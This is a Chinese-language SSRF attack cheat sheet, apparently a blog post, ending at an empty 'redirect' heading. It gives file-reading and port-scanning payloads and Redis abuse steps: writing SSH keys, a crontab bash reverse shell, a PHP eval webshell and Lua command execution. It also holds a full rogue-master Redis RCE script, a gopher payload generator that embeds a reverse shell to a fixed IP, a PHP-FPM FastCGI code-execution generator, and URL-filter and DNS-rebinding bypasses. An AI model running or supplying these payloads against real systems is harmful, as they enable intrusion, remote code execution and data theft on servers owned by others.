0%

SSRF CheatSheet

简介

SSRF(Server Side Request Forgery, 服务端请求伪造),攻击者以服务器的身份发送包括内网在内的请求。

SSRF 可以:

  • 读取本地文件
  • 内网探测
  • 内网端口扫描
  • 攻击内网应用
  • 操作 Redis
  • 反弹 shell

SSRF 特征:

  • PHP: file_get_contantes, fsockopen, curl_exec, fopen, readfile
  • Python: urllib, requests
  • Java: URL, Request, HttpURLConnection, URLConnection, okhttp, OkHttpClient, HttpClients, Socket

注意:
PHP 需要开启 allow_url_fopen。
一般情况下 PHP 不会开启 fopen 的 gopher。
file_get_contents 的 gopher 协议不能 URL 编码。
file_get_contents 关于 gopher 的 302 跳转会出现 bug,导致利用失败。
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断) 经测试 7.49 可用。
curl_exec 默认不跟踪跳转。

Payload

常见语言支持协议

  • PHP: file://, ftp://, gopher://, http://, https://, php://, dict://, sftp://, ldap://, tftp://
  • Java: file://, ftp://, http://, https://, jar://, netdoc://, mailto://
  • Python: file://, gopher://, http://, https://

文件读取

file:// 绝对路径

  • file:///etc/passwd
  • file://c:/boot.ini

Java 的 file 协议可以列目录

端口扫描

dict://ip: 端口 / 命令: 参数 1: 参数 2…

  • dict://127.0.0.1:80/
  • dict://127.0.0.1:22/
  • dict://127.0.0.1:6379/

读取压缩包内容

Java 特有jar:// 协议,可以用来读取 jar 包或 zip 等压缩文件内容。利用 jar 协议也可以绕过协议前缀限制读取压缩文件内容。

  • jar://http://foo.com/bar.jar!/ 读取 jar 包。
  • jar://http://foo.com/bar.jar!/COM/foo/a.class 读取其中某个资源文件。
  • jar://http://foo.com/bar.jar!/COM/foo/ 读取一个目录。

Redis 未授权访问

Redis 在没有开启protected-mode 并且没有主动绑定 ip 的情况下存在未授权访问漏洞。利用 SSRF 扫描端口 dict://127.0.0.1:6379/info 或者 dict://0.0.0.0:6379/info 查看是否开启 redis 服务。

Redis 常用命令:

  • info 查看 redis 版本信息
  • flushall 清空所有数据
  • config set dir PATH 设置保存备份的目录,绝对路径
  • config set dbfilename 设置保存备份的文件名
  • set key value 向 redis 中添加一个键值对
  • keys 查看所有的键
  • get key 获取一个键的值
  • del key 删除一个键值对
  • save 保存所有数据到 config 设置的备份文件中

通过 dict 或者 gophar 协议发送命令操作 Redis 数据库,例如dict://0.0.0.0:6379/info,带多个参数的命令例如dict://0.0.0.0:6379/config:set:dir:/etc/。dict 和 gophar 的区别是:多个命令 dict 需要多次发送,而 gophar 可以一次性发送。

Redis 任意数据访问与修改

  • 清空数据 flushall
  • 删除数据 del key
  • 查看所有的数据的键 keys
  • 查看数据 get key
  • 写入新数据 set key value

任意文件写

  1. 写入一个新数据 set x "value"
  2. Redis 设置备份目录 config set dir /dir/name/
  3. Redis 设置备份文件名为 config set dbfilename filename
  4. 保存 redis 中所有数据到备份文件中,实现写文件 save

写入 ssh 公钥

写入公钥以后通过 ssh 私钥登录。有 root 权限可以写 root 公钥,无 root 权限需要知道用户目录。

  1. 生成 ssh 密钥对 $ ssh-keygen -t rsa
  2. 查看公钥 $ cat ~/.ssh/id_rsa.pub
  3. Redis 设置备份目录为 ssh 目录 config set dir /root/.ssh/
  4. Redis 设置备份文件名为 authorized_keys config set dbfilename authorized_keys
  5. (可选)清空 redis 中的已有数据 flushall
  6. 写入一个新数据,值为刚才 cat 的 ssh 公钥 set x "\n\n\nssh-rsa AAAAB3...zrrSPrs= root@kali\n\n\n"
  7. 保存 redis 中所有数据到备份文件中 save
  8. 连接 ssh $ ssh -i ~/.ssh/id_rsa root@ip

反弹 shell

利用 crontab 定时任务执行命令反弹 shell。

  1. (可选)清空数据 flushall
  2. 写入一个新数据,值为 crontab 格式的 bash 反弹 shell 命令 set x "\n\n* * * * * root bash -i >& /dev/tcp/ip/port 0>&1\n\n"
  3. Redis 设置备份目录为 etc 目录 config set dir /etc/
  4. Redis 设置备份文件名为 crontab config set dbfilename crontab
  5. 保存 redis 中所有数据到备份文件中 save
  6. 监听反弹 shell 端口 nc -lvp port

Centos 的定时任务文件在 /var/spool/cron/<username>,Ubuntu 定时任务文件在 /var/spool/cron/crontabs/<username>,二者共有定时任务文件在 /etc/crontab。
注意:Ubuntu 下无法实现 crontab 反弹 shell。Redis 以 root 身份写的文件权限为 644,普通用户则是 664,但 Ubuntu 要求在 /var/spool/cron/crontabs/ 中执行定时任务的文件权限必须是 600,而如果写入 /etc/crontab,由于存在乱码,因此 ubuntu 不能正确执行定时任务;而 CentOS 在 /var/spool/cron/ 中的定时任务文件权限为 644 就能执行

写 webshell

  1. 写入一个新数据,值为 webshell set x "<?php eval($_GET['a']);?>"
  2. Redis 设置备份目录为 web 目录 config set dir /var/www/html/
  3. Redis 设置备份文件名为 webshell 的名字 config set dbfilename shell.php
  4. 保存 redis 中所有数据到备份文件中 save

执行 Lua

Redis 可以直接执行 lua 代码,但是限制在沙箱中,利用 eval "lua 代码 " 执行。

dofile函数可以执行一个 lua 文件,但是执行失败后也会返回一些信息。

  1. 检查文件是否存在或者是否有权限
    • eval "reutrn dofile('/etc/passwd')"
  2. 获取文件部分信息。
    • eval "return dofile('/etc/issue')"
    • eval "return dofile('/etc/lsb-release')"
    • eval "return dofile('/etc/hosts')"
    • eval "dofile('/etc/environment');return(PATH);
    • eval "dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);

利用 lua 甚至可以 rce。

注意:适用于以下版本
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls -al", "r"); local res = f:read("*a"); f:close(); return res'

注意:不同系统下 liblua5.1.so.0 的路径可能不同

主从复制

主从模式是 Redis 提供的一种分布式模式:使用一台 Redis 服务器作为主机,其他多台 Rediis 服务器作为从机,主机与从机数据相同,但是主机只负责写,从机只负责读,通过 fullresync 命令可以实现主从机之间的数据同步。

通过 info replication 命令可以查看当前 Redis 服务器是主机还是从机。
通过 slaveof <masterip> <masterport> 可以设置当前主机为从机。

在 Reids 4.x 之后,可以通过 Redis 外部拓展 .so 文件,在 Redis 中添加一个新的 Redis 命令,实现代码执行。项目 RedisModules-ExecuteCommand 实现了一个可以执行命令的 Redis 扩展,扩展加载完毕后通过 system.exec command 就可以执行命令,使用 system.rev ip port 就可以把命令执行结果返回到指定地址。

攻击步骤如下,假设目标 Redis 服务器位于 1.1.1.1:6379,攻击者模拟的 Redis 服务器位于 2.2.2.2:6386

  1. 首先设置目标服务器,使其认作攻击者服务器为主服务器:slaveof 2.2.2.2 6386
  2. 设置 dbfilename 为从服务器要保存恶意 .so 文件的文件名:config set dbfilename exp.so
  3. 这时目标服务器,也就是从服务器会返回 PING 命令确认主机存活,攻击者服务器,也就是主服务器需要返回:+PANG
  4. 从服务器会接着返回多个以 REPLCONF 开头的命令,类似 REPLCONF ... 来确认服务器信息,主服务器都需要返回:+OK
  5. 当从服务器返回 PSYNC 或者 SYNC 命令时,代表从服务器请求同步数据,这时主服务器需要返回:+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\npayload,其中 payload 就是恶意 .so 文件的内容。
  6. 同步完成后,恶意 .so 的内容就会被保存到从服务器的 exp.so 文件中,命令从服务器读取该模块:module load exp.so
  7. 然后断开主从链接:slaveof no one
  8. 最后就可以向从服务器发送恶意 .so 文件中的命令。

上述步骤十分繁琐,而且还需要实现模拟主服务器的程序,已经有人准备好了 exp,需要配合 RedisModules-ExecuteCommand使用,如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"


class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]

return data.strip().split()

def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break

self.finish()

def finish(self):
self.request.close()


class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True

def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload


class RedisClient(object):
def __init__(self, rhost, rport):
self.client = socket.create_connection((rhost, rport), timeout=10)

def send(self, data):
data = self.encode(data)
self.client.send(data)
logging.info("send data: %r", data)
return self.recv()

def recv(self, count=65535):
data = self.client.recv(count)
logging.info("receive data: %r", data)
return data

def encode(self, data):
if isinstance(data, bytes):
data = data.split()

args = [b'*', str(len(data)).encode()]
for arg in data:
args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])

args.append(DELIMITER)
return b''.join(args)


def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore')

offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
return data.decode(errors='ignore')


def exploit(rhost, rport, lhost, lport, expfile, command, auth):
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())

client = RedisClient(rhost, rport)

lhost = lhost.encode()
lport = str(lport).encode()
command = command.encode()

if auth:
client.send([b'AUTH', auth.encode()])

client.send([b'SLAVEOF', lhost, lport])
client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])
time.sleep(2)

server.handle_request()
time.sleep(2)

client.send([b'MODULE', b'LOAD', b'./exp.so'])
client.send([b'SLAVEOF', b'NO', b'ONE'])
client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
resp = client.send([b'system.exec', command])
print(decode_command_line(resp))

client.send([b'MODULE', b'UNLOAD', b'system'])


def main():
parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
parser.add_argument("-p", "--rport", dest="rport", type=int,
help="target redis port, default 6379", default=6379)
parser.add_argument("-L", "--lhost", dest="lhost", type=str,
help="rogue server ip", required=True)
parser.add_argument("-P", "--lport", dest="lport", type=int,
help="rogue server listen port, default 21000", default=21000)
parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')

parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
options = parser.parse_args()

filename = options.file
if not os.path.exists(filename):
logging.info("Where you module? ")
sys.exit(1)

exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth)


if __name__ == '__main__':
main()

Payload 生成

通过 dict 或者 gophar 协议可以发送 redis 命令。

注意:通过 dict 或者 gophar,有些特殊字符无法写入到 redis 中,需要转义。

dict 与 gophar 协议格式生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from urllib import quote
from binascii import a2b_hex


ip = '127.0.0.1'
port = 6379
cmds = [
['flushall'],
['set x', '\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"'],
['config set dir', '/var/www/html/'],
['config set dbfilename', 'shell.php'],
['save']
]


def dict_(cmd):
v = None if len(cmd) == 1 else cmd[1]
cmd = ':'.join(cmd[0].split())
if v:
cmd += ':' + v
return a2b_hex(''.join(hex(ord(c))[2:] for c in cmd))


def gophar(cmd):
v = None if len(cmd) == 1 else cmd[1]
cmd = cmd[0].split()
if v:
cmd.append(v)
result = '*%d\r\n' % len(cmd)
for c in cmd:
result += '$%d\r\n%s\r\n' % (len(c), c)
return result


for cmd in cmds:
print('dict://%s:%d/%s' % (ip, port, quote(dict_(cmd), 'utf-8')))

print('')

print(
'gopher://%s:%d/_%s' % (
ip, port,
quote(''.join((gophar(cmd) for cmd in cmds)), 'utf-8')
)
)

伪造 POST

利用 gophar 协议可以发送 POST 请求。

注意:修改 Content-Length 以及 data 的 url 编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from urllib import quote


ip = '127.0.0.1'
port = 80
path = '/index.php'
headers = [
'User-Agent: curl/7.43.0',
'Accept: */*',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: 0'
]
data = ''

print('gopher://%s:%d/_%s' % (ip, port, quote('POST %s HTTP/1.1\r\nHost: %s\r\n%s\r\n\r\n%s' % (path, ip, '\r\n'.join(headers), data))))

实际上,gophar 协议可以发送任何 TCP 数据包。

攻击 FPM

大部分情况下 fpm 运行在内网 9000 端口,dict://127.0.0.1:9000/。利用 SSRF 的攻击脚本如下,例如python fpm_ssrf.py -c '<?php system("id");exit;?>' -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php,注意需要的值一个在服务器中绝对路径的 php 文件,返回 gophar 协议编码的 paylaod。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
#print base64.b64encode(request)
return request
# self.sock.send(request)
# self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
# self.requests[requestId]['response'] = b''
# return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
response = urllib.quote(response)
print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)

其他 Payload

  • 在 PHP 的 SSRF 中,同样支持 PHP 伪协议。

绕过

本机 IP

可以用 0.0.0.0localhost 或者 127.x.x.x 替代127.0.0.1

IP 地址中间的 0 可以被省略,例如 127.1 等价于 127.0.0.1。而http://0.0.0.0/ 可以被省略为http://0/

等价 IP

特殊域名 xip.io 提供了 IP 解析,例如可以用 192.168.0.1.xip.io 或者 a.b.c.192.168.0.1.xip.io 等价于192.168.0.1。此外,可以利用在线短地址服务,利用短地址指向被限制的 IP。

IP 地址其实就是一串数字,可以进行进制转换。例如:127.0.0.1,等价于十六进制0x7F000001,等价于十进制2130706433,等价于二进制0b1111111000000000000000000000001

也可以只转换部分 IP,例如:127.0.0.1,等价于0177.0.0.1,等价于0x7f.0.0.1。也可以混合编码,例如八进制和十六进制混合0177.0x0.0x0.0x1

注意:进制转换后的 IP,Apache 服务器会报 400,而 Nginx,Mysql 等服务可以正常识别。

IP 地址转换脚本,可以打印出所有的等价 IP 地址,包括十进制,八进制,十六进制,二进制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/python
# -*- coding: UTF-8 -*-

ip = '127.0.0.1'


def marge(l):
result = ''
for i in l:
result += hex(i)[2:].rjust(2, '0')
result = int(result, 16)
return [str(i) for i in [result, hex(result), oct(result), bin(result)]]


def cross(*args):
if len(args) == 1:
for ip in args[0]:
if ip not in iplist:
iplist.append(ip)
elif len(args) == 2:
for i in args[0]:
for j in args[1]:
ip = '%s.%s' % (i, j)
if ip not in iplist:
iplist.append(ip)
elif len(args) == 3:
for i in args[0]:
for j in args[1]:
for k in args[2]:
ip = '%s.%s.%s' % (i, j, k)
if ip not in iplist:
iplist.append(ip)
elif len(args) == 4:
for i in args[0]:
for j in args[1]:
for k in args[2]:
for l in args[3]:
ip = '%s.%s.%s.%s' % (i, j, k, l)
if ip not in iplist:
iplist.append(ip)


iplist = [ip]
raw_ip = [int(i) for i in ip.split('.')]
cross(marge(raw_ip))
cross(marge(raw_ip[:1]), marge(raw_ip[1:]))
cross(marge(raw_ip[:3]), marge(raw_ip[3:]))
cross(marge(raw_ip[:2]), marge(raw_ip[2:3]), marge(raw_ip[3:]))
cross(marge(raw_ip[:1]), marge(raw_ip[1:3]), marge(raw_ip[3:]))
cross(marge(raw_ip[:1]), marge(raw_ip[1:2]), marge(raw_ip[2:]))
cross(marge(raw_ip[:1]), marge(raw_ip[1:2]),
marge(raw_ip[2:3]), marge(raw_ip[3:]))

for ip in iplist:
print(ip)

前缀限制

必须以指定域名开头^http://www.baidu.com.*

利用 url 中可选的用户名和密码部分,域名或 ip 地址前的 @ 表示访问到该 url 需要输入的用户名和密码,其中 : 前为用户名,后为密码,例如 http://username:password@example.com/。则http://www.baidu.com@127.0.0.1 或者 http://www.baidu.com:xxxx@127.0.0.1 等价于http://127.0.0.1

可以利用 xip.io 绕过前缀限制,例如http://www.baidu.com.127.0.0.1.xip.io/

后缀限制

必须以指定域名结尾.*baidu.com$

可以尝试利用如下 payload 绕过。

  • http://127.0.0.1/index.php#www.baidu.com
  • http://127.0.0.1/index.php?baidu.com

畸形 url

例如 urlhttp://1.1.1.1 &@2.2.2.2# @3.3.3.3/(注意其中包含了 2 个空格),在 Python 中,urllib2 和 httplib 会解析出1.1.1.1,requests 会解析出2.2.2.2,urllib 会解析处3.3.3.3

例如 urlhttp://127.0.0.1:12345:80/,PHP 的 parse_url 和 Perl 的 URI 会解析出 80 端口,而 PHP 的 readfile 和 Perl 的 LWP 会解析出 12345 端口。

例如 urlhttp://127.0.0.1#@evil.com/,PHP 的 readfile 会解析出 evil.com,PHP 的parse_url 会解析出127.0.0.1

例如 urlhttp://foo@127.0.0.1:80@evil.com/,curl/libcurl 会解析出 127.0.0.1:80,NodeJS 的URL,Perl 的URI,Go 的net/url,PHP 的parse_url,Ruby 的addressable 会解析出evil.com

注意:上条 payload 中 curl 7.54.0 之前已经修复,但是可以通过 http://foo@127.0.0.1 @evil.com/ 绕过。注意 @ 之前有一个空格。

curl 或者 wget 可尝试下列 payload,都会解析出http://127.0.0.1/

  • http://127.0.0.1;baidu.com/
  • 0://127.0.0.1;baidu.com/
  • 0://127.0.0.1:80;baidu.com:80/
  • 0://127.0.0.1:80=baidu.com:80
  • 0://abc@127.0.0.1:80@baidu.com

注意:也可以使用逗号 , 代替分号;

利用空 bash 变量 $ 绕过,需要将 url 带入 bash 中,例如 http://127.0.0$foo.1 中,$foo变量不存在,默认为空字符串,等价于http://127.0.0.1

特殊符号

过滤了 . 符号,某些情况可以用中文句号 代替(例如 Chrome)。

在某些情况下(例如 curl)支持国际化特殊符号(IDNA),它们与对应的数字 / 字母等价。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 
⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽
⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑
⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨
⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ
Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ
ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾
⓿ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴

例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ 等价于example.com

除了上述 IDNA 字符以外,利用一些 unicode 字符解析不兼容性也可以绕过,例如 ß 在某些情况下等价于 ss,此外,一些 unciode 字符也会被忽略,例如g\u200Doogle.com 等价于 google.com,其中\u200D 被忽略。

DNS 重绑定

服务器向 DNS 服务器请求解析两次域名,在 DNS 服务器可控的情况下利用两次解析之间的时间差绕过 IP 地址限制。

  1. 客户端(攻击者)向服务器发送正常域名http://example.com
  2. 服务器拿到域名后做 DNS 解析,例如验证该域名是否为内网 IP,DNS 服务器第一次返回了一个非内网 IP 地址 A。
  3. 该域名在服务器端通过验证,域名被继续传递给可以 SSRF 的函数,例如url_open,这时又会发生第二次 DNS 解析。
  4. 在第二次 DNS 解析发生之前,在 DNS 服务器中修改该域名的 IP 为内网 IP,并且设置 TTL 为 0。
  5. 服务端再次向 DNS 服务器发送解析请求,而这时 DNS 服务器中该域名的 IP 已经被修改为内网 IP,并且该域名的 TTL 被修改为 0,即 DNS 服务器会直接新修改的 IP 而不是之前的缓存。
  6. 服务器收到内网 IP 地址 B,成功绕过。

重定向

